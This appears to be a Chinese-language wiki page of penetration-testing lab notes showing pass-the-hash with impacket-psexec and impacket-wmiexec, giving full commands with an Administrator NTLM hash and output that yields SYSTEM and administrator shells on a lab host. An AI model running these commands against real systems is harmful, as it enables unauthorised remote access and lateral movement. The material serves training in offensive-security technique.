

【terminal】 【impacket】 psexec

要執行 psexec，我們可以輸入 impacket-psexec 並帶有兩個參數。第一個參數是 -hashes，它允許我們使用 NTLM 雜湊來對目標進行身份驗證。格式為 "LMHash:NTHash"，其中我們在冒號後指定 Administrator 的 NTLM 雜湊。由於我們只使用 NTLM 雜湊，因此 LMHash 部分可以填充為 32 個 0。

第二個參數是目標定義，格式為 "username@ip"。

在命令的末尾，我們可以指定另一個參數，用於確定 psexec 應在目標系統上執行哪個命令。如果我們將其留空，將執行 cmd.exe，為我們提供一個交互式的 shell。

```
kali@kali:~$ impacket-psexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b \
Administrator@192.168.50.212
```

```
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
```

```
[*] Requesting shares on 192.168.50.212.....
[*] Found writable share ADMIN$
[*] Uploading file nvaXenHl.exe
[*] Opening SVCManager on 192.168.50.212.....
[*] Creating service MhCl on 192.168.50.212.....
[*] Starting service MhCl.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.707]
(c) Microsoft Corporation. All rights reserved.
```

```
C:\Windows\system32> hostname
FILES02
```

```
C:\Windows\system32> ipconfig
```

```
Windows IP Configuration
```

```
Ethernet adapter Ethernet0:
```

```
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::7992:61cd:9a49:9046%4
IPv4 Address. . . . . : 192.168.50.212
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . : 192.168.50.254
```

```
C:\Windows\system32> whoami
nt authority\system
```

```
C:\Windows\system32> exit
```

```
kali@kali:~$
```

我們成功在 FILES02 上獲得了一個交互式 shell。由於 psexec.py 的性質，我們將始終以 SYSTEM 而不是我們用來驗證的用戶身份接收 shell。

我們還可以使用其他 impacket 腳本之一，比如 wmiexec.py 來獲得一個以我們用於身份驗證的用戶身份的 shell。在 Kali 上，我們將使用 impacket-wmiexec，以及我們用於 impacket-psexec 的參數。

```
kali@kali:~$ impacket-wmiexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b
Administrator@192.168.50.212
```

```
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
```

```
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
files02\administrator
```

```
C:\>
```

正如 whoami 的輸出所示，我們使用 wmiexec 而不是 SYSTEM 作為 Administrator 用戶獲得了 shell。

在本節中，我們使用 pass-the-hash 來訪問 SMB 共享。然後，我們使用 hash 來使用 impacket-psexec 和 impacket-wmiexec 獲取一個交互式 shell。

🔄修訂版本 #4

★由 treeman 建立於 12 🍷@🍷🍷 2024 09:42:23

✍由 treeman 更新於 12 🍷@🍷🍷 2024 09:47:19